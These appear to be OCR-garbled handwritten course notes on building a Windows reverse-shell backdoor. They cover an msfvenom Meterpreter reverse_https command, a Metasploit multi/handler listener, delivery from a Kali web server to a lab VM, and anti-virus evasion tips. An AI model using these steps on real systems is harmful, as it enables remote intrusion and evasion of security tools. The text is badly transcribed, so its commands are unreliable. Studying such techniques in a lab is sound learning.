

	1
Subject: PAGE NO.:	4
Bind : opens a post on target pc	A
3 00000 00000	
	<u> </u>
2 Reverse: opens a port in our own	
· backdoor connects FROM	
target pc to our port	
	-
Lets create a backdoor.	
-> do: msf venom payload windows) meterpretur	
reverse _ https	-
This coursed a state of anticom	
This command gives you a list of options we can	
· LHOST = WOOL listener (us)	
· LPORT = port we listen on	
So do: # mstrenom payload Ename? LHOST = Eyourip?	
LPORT = 8080 - format exe - out rev https-	
8080 . exe	
0.4	
-> this will generate the backdoor - exe file.	
A Now we need to listen to the connections, so that	
when bookdoor is run on the target, we can it can	
connect to our open port.	,
2 > 0 > 1	
30→go to msfconsole. (Metasploit)	
> # use exploit multi handler	
designed to open a port	

9	PAGE NO.:
9	Subject:
	→ It is using a default payload which needs to be modified.
	to be modified.
	Sa Philadella Company
	> modify LHOST & LPORT
	# exploit
	Now the post is open. We can now execute the
_	backdoor on windows.
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	* First we need to deliver the backdoor to windows. For
	that, (for now), > (for our VMs)
-	-> copy the backdoor to the webserver
1	-> var www wtml; paste it in a new folder
R	(evil-files)
A	-> Start the webserver to shore file to windows
7	VM 1> # 0 000 100 0000 00 0000 1
7	-> to access the webserver, use ip of kali.
	
7	> go to windows -> 192.168.59.128 [evil-files > download the backdoor (disable security first)
7	> run it.
A.	* Now you have a connection walk -> Windows . Hacked
	successfully.
0	
	Bypaus Anti-Virus
3	
	-> Security programs detect malware by:
	Deither comparing code to known molware (Static)
	This can be bypassed by using unique code.
	2 or AVs can analyse behvar behavior of the
100	malware in a controlled environment.
	-> in this case, we need to add safe operations &
-	delay payload execution.
-	- , U